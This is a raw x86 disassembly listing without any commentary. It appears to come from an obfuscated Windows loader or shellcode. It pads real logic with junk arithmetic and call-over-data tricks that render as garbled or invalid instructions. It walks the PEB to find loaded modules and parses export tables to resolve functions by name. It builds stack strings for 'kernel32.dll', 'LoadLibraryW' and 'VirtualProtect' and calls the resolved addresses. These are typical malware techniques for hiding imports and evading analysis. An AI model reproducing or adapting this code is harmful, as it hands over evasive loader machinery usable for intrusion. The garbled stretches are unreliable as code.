push ebx
push edi
add esp, 4
add ebx, 0x5a00
pop ebx
push esi
xor esi, 0x4e99
or esi, 0x4623
xor esi, 0x108fa
call 0x416aa2
add byte [edx + 0x42], al
xor cl, byte [eax + 0x46]
aas
aas
dec esi
xor eax, dword [ebx - 0x74a1fb3c]
xchg ebp, eax
and al, 0xfb
invalid
push edx
xor edx, 0xb3a1
pop edx
push ecx
push ecx
add esp, 4
sub ecx, 0x8201
jmp 0x416af4
and ecx, 0x227e
jmp 0x416aff
pop ecx
push eax
or eax, 0xbb26
jmp 0x416b0d
pop eax
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push edx
push esi
add esp, 4
xor edx, 0xd4e2
xor edx, 0x10bda
sub edx, 0x15869
xor edx, 0xe4be
pop edx
push ecx
xor ecx, 0x4a36
and ecx, 0x578d
or ecx, 0xad79
pop ecx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x416b7f
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x416e70
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x416ba7
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x416e70
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x416bd9
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x416e70
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x416bfe
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x416e70
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x416c58
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x416e64
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x416cc8
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x416d7a
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x416d7a
push ebx
push esi
add esp, 4
add ebx, 0x128b0
sub ebx, 0xe67a
sub ebx, 0xc536
pop ebx
push edx
sub edx, 0x46d4
xor edx, 0x11673
or edx, 0x95a2
xor edx, 0x7997
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x416d6c
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x416d73
jmp 0x416cb9
jmp 0x416d7a
push ebx
jmp 0x416d81
pop ebx
push edx
push ebx
add esp, 4
and edx, 0x10d80
sub edx, 0xf0d8
pop edx
push eax
push eax
add esp, 4
xor eax, 0x6399
or eax, 0x6d37
and eax, 0x12cd5
pop eax
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x416dd9
mov dword [ebp - 0xc40], 0
jmp 0x416e48
push eax
push ebx
add esp, 4
or eax, 0x172b1
and eax, 0x15918
add eax, 0x902f
pop eax
push ebx
or ebx, 0xc247
add ebx, 0xfef3
add ebx, 0x134cd
sub ebx, 0x9a83
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x416e3e
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x416e48
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x416e5f
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x416e70
jmp 0x416c49
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push esi
call 0x416e8c
add byte [ebx + 0x42], cl
xor al, 0x35
dec esi
aas
dec ebx
dec ebx
xor eax, 0x5e04c483
push eax
push ebx
add esp, 4
sub eax, 0x5ed2
sub eax, 0x4d83
add eax, 0x11de0
and eax, 0x99b9
pop eax
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edi
push eax
add esp, 4
jmp 0x416ec9
jmp 0x416ed1
pop edi
push ecx
sub ecx, 0xc3cb
pop ecx
push ebx
push edi
add esp, 4
call 0x416eeb
add byte [ecx + edi + 0x33], al
inc ebp
push eax
dec ecx
add esp, 4
pop ebx
cmp dword [ebp - 0x3cc], 0
je 0x416f01
cmp dword [ebp - 0xa5c], 0
jne 0x416f47
push edi
push esi
add esp, 4
call 0x416f14
add byte [0x4832473f], dh
dec edx
xor edi, dword [ebx + eax*4]
les eax, [eax + ebp*8]
pop es
add byte [eax], al
add byte [eax], al
cmp eax, dword [esi + 0x45]
aas
xor edi, dword [edi]
add esp, 4
sub edi, 0xb0fa
and edi, 0x11ea7
pop edi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push eax
push edi
add esp, 4
or eax, 0x1c91
or eax, 0x2694
add eax, 0x3cb9
add eax, 0x1047e
pop eax
push edi
add edi, 0x15081
sub edi, 0xfdd0
sub edi, 0x1829d
pop edi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edx
push edx
add esp, 4
sub edx, 0x16a38
pop edx
push eax
push ebx
add esp, 4
or eax, 0x15691
pop eax
push eax
add eax, 0xefa
and eax, 0x98ab
add eax, 0x131a2
jmp 0x416fdf
pop eax
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edx
push esi
add esp, 4
sub edx, 0x13263
pop edx
push ebx
push ebx
add esp, 4
xor ebx, 0xf2db
add ebx, 0x4db
xor ebx, 0x8748
add ebx, 0xfb04
pop ebx
push edi
sub edi, 0x3160
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push eax
xor eax, 0x180cf
add eax, 0x7fe1
jmp 0x4170b7
sub eax, 0xc08a
pop eax
push esi
push ebx
add esp, 4
or esi, 0x4323
pop esi
push edx
jmp 0x4170d3
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x4170ec
mov dword [ebp - 0x2a8], 0
jmp 0x417393
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ecx
add ecx, 0x18333
jmp 0x41710a
or ecx, 0x8f41
or ecx, 0xc3ef
pop ecx
push edx
add edx, 0x1317c
call 0x41712c
add byte [ecx], bh
inc edi
dec ebp
inc ecx
inc eax
dec esp
dec ebp
push eax
add esp, 4
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x417148
mov dword [ebp - 0x2a8], 0
jmp 0x417393
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edx
jmp 0x41715b
or edx, 0x107b3
xor edx, 0x15cfe
or edx, 0xe80b
pop edx
push ecx
push ebx
add esp, 4
call 0x417182
add byte [ebx + 0x49], al
cmp dword [0x3240444c], edi
dec esp
add esp, 4
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
sub ecx, 0x1350d
sub ecx, 0xf7e4
sub ecx, 0xf364
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0x7ddd
or ecx, 0x18159
add ecx, 0xb9b1
or ecx, 0x128f2
pop ecx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edx
push edx
add esp, 4
call 0x41724d
add byte [edi], bh
inc eax
dec edi
dec eax
inc ebx
xor edi, dword [ecx]
cmp al, byte [ebx + 0x575a04c4]
sub edi, 0x1325
and edi, 0x1193e
add edi, 0x149bc
and edi, 0x41bc
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x417288
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x4172e2
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x4171b0
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x4171b0
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x4172cc
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x4172d6
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x41732b
push ebx
jmp 0x4172f1
or ebx, 0x1140e
pop ebx
push ebx
and ebx, 0xcbb6
or ebx, 0x15d4d
pop ebx
push eax
sub eax, 0x13fdc
pop eax
push esi
jmp 0x417316
add esi, 0x6a1b
pop esi
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x417393
push edx
or edx, 0xa58a
add edx, 0x4f01
xor edx, 0xf7a6
pop edx
push esi
push ebx
add esp, 4
add esi, 0x13f26
xor esi, 0xe736
or esi, 0x108af
xor esi, 0xfb31
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x417389
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x417154
mov dword [ebp - 0x2a8], 0
push eax
push edx
add esp, 4
call 0x4173a5
add byte [esi + 0x43], al
inc esp
xor cl, byte [ebp + 0x3a]
dec edi
add esp, 4
sub eax, 0x5e98
pop eax
push edi
jmp 0x4173b6
pop edi
push edi
xor edi, 0x167cf
and edi, 0x184c9
pop edi
cmp dword [ebp - 0x2a8], 0
jne 0x417cca
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push esi
add esi, 0x13c1b
add esi, 0x7aab
sub esi, 0xf816
and esi, 0x5379
pop esi
push ecx
push ebx
add esp, 4
xor ecx, 0x4fe6
xor ecx, 0x261e
sub ecx, 0x638c
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ebx
push esi
add esp, 4
xor ebx, 0x9ba2
pop ebx
push edi
xor edi, 0x130a6
and edi, 0xca18
pop edi
push edx
push ecx
add esp, 4
sub edx, 0x74e7
or edx, 0xeb84
xor edx, 0xaf10
pop edx
cmp dword [ebp - 0x1518], 0
jne 0x41756a
mov dword [ebp - 0x710], 0
jmp 0x417811
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ebx
push eax
add esp, 4
call 0x41758d
add byte [edx + eax*2], dh
xor eax, 0x83334338
les eax, [ecx + eax*4]
jecxz 0x4175d1
push 0
add bl, ch
pop es
cmp dword [edx + 0x35], ecx
cmp al, 0x3d
dec esi
dec esp
sub ebx, 0x14f62
pop ebx
push edx
or edx, 0xf27e
pop edx
cmp dword [ebp - 0xc58], 0
jne 0x4175c6
mov dword [ebp - 0x710], 0
jmp 0x417811
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
call dword [ebx + 0x57]
push ebx
push edi
add esp, 4
and ebx, 0x18264
add ebx, 0x6196
or ebx, 0xe753
pop ebx
push ebx
sub ebx, 0x1594
sub ebx, 0xeefb
and ebx, 0xba1c
or ebx, 0x5f7d
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
sub edx, 0x16956
pop edx
push edi
push ecx
add esp, 4
add edi, 0x414
pop edi
push esi
push ebx
add esp, 4
xor esi, 0x5c5c
sub esi, 0xe07b
xor esi, 0xa6cb
sub esi, 0x4f29
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
push esi
add esp, 4
sub edi, 0x993e
or edi, 0xbf2c
xor edi, 0x12798
pop edi
push esi
push eax
add esp, 4
and esi, 0x2208
or esi, 0xe5ee
jmp 0x4176e8
pop esi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x417706
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x417760
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x41762e
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x41762e
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x41774a
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x417754
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x4177a9
push esi
push ebx
add esp, 4
or esi, 0x123a8
xor esi, 0x105ea
call 0x417787
add byte [edx], dh
cmp eax, 0x323f473b
xor al, byte [ebx + 0x8e804c4]
add byte [eax], al
add byte [eax], al
aaa
inc edi
push eax
xor eax, 0xc4833e44
add al, 0x5e
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x417811
push esi
call 0x4177b8
add byte [esp + edi], dh
cmp cl, byte [ecx + 0x4e]
cmp edi, dword [ecx + ecx*2]
add esp, 4
xor esi, 0xa879
pop esi
push edx
add edx, 0xefd7
jmp 0x4177ce
or edx, 0x159fa
sub edx, 0x5010
pop edx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x417807
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x4175d2
mov dword [ebp - 0x710], 0
push esi
sub esi, 0x5d98
sub esi, 0x112e4
pop esi
push eax
push esi
add esp, 4
or eax, 0x15cbf
pop eax
push edi
push esi
add esp, 4
xor edi, 0x11d37
add edi, 0xb11c
sub edi, 0x5b77
pop edi
cmp dword [ebp - 0x710], 0
jne 0x41788d
push esi
push ecx
add esp, 4
and esi, 0x731d
add esi, 0x171ed
pop esi
push edi
xor edi, 0x16017
add edi, 0x2166
xor edi, 0x1428c
pop edi
push esi
push ebx
add esp, 4
and esi, 0x123e7
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x4183b5
push edi
push esi
add esp, 4
jmp 0x417897
pop edi
push esi
push ecx
add esp, 4
or esi, 0xcb33
pop esi
push eax
push ebx
add esp, 4
call 0x4178b5
add byte [0x463d4746], dh
xor al, 0x83
les eax, [ecx + eax*4]
invalid
push edx
xor edx, 0x13be8
sub edx, 0x1842e
pop edx
push eax
push ebx
add esp, 4
xor eax, 0x710d
pop eax
push edi
push esi
add esp, 4
and edi, 0x17432
sub edi, 0x11da7
sub edi, 0xb9e8
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
and ecx, 0x7f6c
pop ecx
push ebx
xor ebx, 0x81bb
pop ebx
push esi
jmp 0x417d3b
call 0x417d4a
add byte [ebx + 0x48], al
inc eax
aas
inc edi
cmp eax, dword [ecx + 0x32]
add esp, 4
pop esi
push ebx
sub ebx, 0x70eb
jmp 0x417d3d
jo 0x417d54
add byte [ebx - 0x7d], bl
mov ebp, 0xffffea8c
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2a8], 0
jmp 0x418015
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ecx
push ecx
add esp, 4
sub ecx, 0x8e38
pop ecx
push edi
or edi, 0x16a99
pop edi
push esi
sub esi, 0xdc41
pop esi
push edx
xor edx, 0xeff2
pop edx
push edx
xor edx, 0x14d53
add edx, 0xbdef
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x417dca
mov dword [ebp - 0x2a8], 0
jmp 0x418015
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ebx
sub ebx, 0xa57d
add ebx, 0x5ef5
add ebx, 0x3f92
pop ebx
push eax
or eax, 0x12e51
add eax, 0xae9b
call 0x417e04
add byte [eax + 0x48], cl
xor bh, byte [edi]
aas
cmp al, byte [ebx - 0x72a7fb3c]
test eax, ebx
jmp 0x85cb7e0f
push ebx
or ebx, 0x15c81
or ebx, 0x14217
jmp 0x41802b
pop ebx
push edx
push edi
add esp, 4
add al, 0x81
int1
or al, byte [eax]
add byte [ecx + 0x144e9f2], al
add bl, ch
pop es